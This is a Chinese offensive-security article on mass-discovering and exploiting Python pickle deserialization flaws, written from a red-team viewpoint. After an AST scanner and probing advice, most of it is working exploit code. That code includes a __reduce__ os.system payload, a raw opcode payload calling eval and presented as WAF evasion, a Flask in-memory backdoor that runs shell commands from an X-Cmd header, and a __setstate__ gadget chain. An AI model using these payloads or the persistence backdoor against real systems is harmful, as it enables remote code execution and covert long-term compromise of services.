如何规模化发现 Python 反序列化
难点在于：
如何在成百上千个 Python 服务中，快速找出“值得打”的反序列化点。
规模化发现的目标只有一个：
找出「可被外部影响、自动反序列化、且位于高价值执行上下文」的点
5.1 攻击面建模：先缩小 90% 的无效目标
优先级
反序列化风险 = 可控性 × 自动性 × 权限上下文
| |
|---|
| 数据是否来自 HTTP / MQ / Redis / 文件同步 |
| |
| worker / API / AI 节点 / 内网 |
5.2 白盒规模化发现（CMS源码 ）
第一层：危险 API 定位（但不止 grep）
你关心的不是：
而是它的数据来源。
高价值模式：
pickle.loads(request.data)pickle.loads(request.body)pickle.loads(request.cookies.get())pickle.loads(redis.get())pickle.loads(cache.get())pickle.loads(msg.body)pickle.loads(open(file))
这些模式意味着：
攻击者可控 + 自动触发
第二层：AST 级静态分析（可自动化）
核心思想：
只标记“反序列化 + 非本地常量输入”
这段代码在扫描 Python 源代码，寻找可能包含安全风险的 pickle.load() 或 pickle.loads() 调用，特别是当这些调用使用了来自网络请求（request）、Redis 或缓存（cache）等不可信来源的数据时。
import astclass UnpickleVisitor(ast.NodeVisitor): def visit_Call(self, node): if is instance(node.func, ast.Attribute): if node.func.attr in ("loads","load"): # 判断是否 pickle / cloudpickle / marshal src = ast.unparse(node.args[0]) if node.args else"" if "request" in src or "redis" in src or "cache" in src: print("[HIGH]", node.lineno, src) self.generic_visit(node)
5.3 灰盒发现：你只有接口，没有源码
这是最常见的情况。
5.3.1 行为侧信道探测（而不是爆破）
原则：
不用 RCE payload，只用 无害 marker
Marker 设计目标
常见 marker 行为
5.3.2 典型探测点
| |
|---|
/upload | |
/import | |
/task/submit | |
/model/load | |
/config/apply | |
5.3.3 灰盒探测逻辑（流程）
1. 找到疑似“二进制 / base64”参数2. 投递安全 marker payload3. 观察： - 响应 - 延迟 - 行为变化4. 只要一次成功 → 高价值点
5.4 黑盒规模化发现（无源码、无日志）
5.4.1 思路
黑盒阶段，不是“确认 RCE”，
而是“确认 是否存在反序列化执行路径”。
5.4.2 判断信号
| |
|---|
| 同一请求 payload 导致不同 worker 行为 | |
| |
| |
| |
反序列化至少经历：
- 框架层再处理（session / cache / task）
可利用点远不止 __reduce__还有
__setstate____getattr____call__
红队的 Gadget 思维不是“写一个类”，
目标不是： → 执行 os.system目标是： → 借助“已有对象行为”完成执行
都可以成为 Gadget 池。
真实环境中，比较容易成功的反序列化利用是：
- 修改行为（proxy / hook / handler）
具体利用的4个方法：
| 方法 | 核心目标 | 涉及库 | 攻击关键魔术方法 | 隐蔽性/复杂度 | 目标代码架构要求 |
|---|
| 基础魔术方法劫持 (Classic RCE) | | pickle | __reduce__ | 低隐蔽 / 极低复杂度 | 存在 pickle.loads() 且未过滤敏感模块，允许执行系统调用 |
| Opcode 级手工构造 (Stealth RCE) | | pickle | 无需魔术方法 | 高隐蔽 / 中复杂度 | 目标后端仅通过正则扫描源代码字符串，而非深度解析序列化逻辑 |
| 内存马注入与持久化 (Persistence) | | pickle | __reduce__ | 极高隐蔽 / 高复杂度 | 基于 Flask/Django 等 Web 框架，且反序列化点位于常驻进程上下文中 |
| POP 链构造与属性污染 (Logic Hack) | | pickle | __setstate__ | 极高隐蔽 / 极高复杂度 | 目标代码中存在具有复杂魔术方法的类，且业务逻辑中存在对象属性的二次调用 |
方法一：魔术方法劫持 (Classic RCE)
这是利用 __reduce__ 触发代码执行的最基础模型，适用于快速验证漏洞。
import pickleimport base64class Exploit: def __reduce__(self): import os # 核心逻辑：返回一个函数对象及其参数元组 # 反序列化时将直接执行 os.system('whoami') return (os.system, ('whoami',))payload = base64.b64encode(pickle.dumps(Exploit())).decode()print(f"基础 RCE Payload: {payload}")
pickle.loads() 在重建对象时，若发现 __reduce__，会无条件调用其中的 callable 对象 。这是 Python 原生反序列化最经典的风险点 - 注意：如果参数元组只有一个元素，必须写成 ('whoami',)（带逗号），否则 Python 会将其解析为普通字符串，导致反序列化失败
方法二：Opcode 级手工构造 (Stealth RCE)
这是针对高级防护的绕过手法。 它的特点是不定义类，直接编写 PVM 指令，从而避开 WAF 对 __reduce__ 等关键字的扫描。
# 手工编写 Pickle 字节码指令流# c: 导入模块/函数; (: 压入 MARK; V: 压入字符串; t: 组成元组; R: 调用函数 # 下面这段代码等价于执行 eval("__import__('os').system('id')")opcode_payload = b"cbuiltins\neval\n(V__import__('os').system('id')\ntR."import pickletoolsprint("--- 指令流逻辑分析 ---")pickletools.dis(opcode_payload) # 打印 PVM 栈机的执行步骤final_payload = base64.b64encode(opcode_payload).decode()print(f"纯字节码绕过 Payload: {final_payload}")
- 通过
\n 定界符手动构造指令 ，利用 c 指令动态获取 builtins.eval，完全避开了“恶意类”的静态特征，具备极强的隐蔽性。
方法三：逻辑污染与内存持久化 (Memory Shell)
利用反序列化修改运行时状态，在 Web 框架（如 Flask）中植入内存后门 。
import pickleimport base64INJECT_SCRIPT = """import sys# 动态寻找 Flask App 实例app = sys.modules.get('flask').current_app if 'flask' in sys.modules else Noneif app: @app.before_request def backdoor(): from flask import request import os cmd = request.headers.get('X-Cmd') if cmd: return os.popen(cmd).read(), 200"""class Persistence: def __reduce__(self): # 借助还原过程执行 exec，将 Hook 注入 Flask 内存 return (exec, (INJECT_SCRIPT,))payload = base64.b64encode(pickle.dumps(Persistence())).decode()
方法四：POP 链构造与属性污染 (Logic Hack)
在受限环境下，通过操作对象间的属性引用关系，诱导程序走向危险逻辑 。
import pickleimport base64# --- 目标服务器上的“合法”代码架构 ---class DataHandler: def __init__(self): self.config = "normal_config" def __setstate__(self, state): # 1. 自动恢复属性 self.__dict__.update(state) # 2. 危险点：业务逻辑自动触发了 callback 属性中的 run 方法 if hasattr(self, 'callback'): print("[*] 正在执行业务回调...") self.callback.run()# --- 攻击者构造的“毒药”类 ---class ExploitGadget: def run(self): import os # 实际攻击中这里会是反弹 shell os.system('whoami')# --- 攻击步骤 ---# 1. 攻击者本地构造一个 DataHandler 实例evil_handler = DataHandler()# 2. 核心：将原本正常的 callback 属性修改为恶意的 ExploitGadget 对象evil_handler.callback = ExploitGadget()# 3. 序列化生成 Payloadpayload = base64.b64encode(pickle.dumps(evil_handler)).decode()print(f"[+] 构造的 POP 链 Payload: {payload}")# --- 模拟目标后端接收并执行 ---# pickle.loads(base64.b64decode(payload)) # 这行会触发 whoami
这是属性驱动编程（POP）的典型体现 ，利用反序列化时自动调用的 __setstate__ ，将攻击逻辑隐藏在正常的业务类交互中。
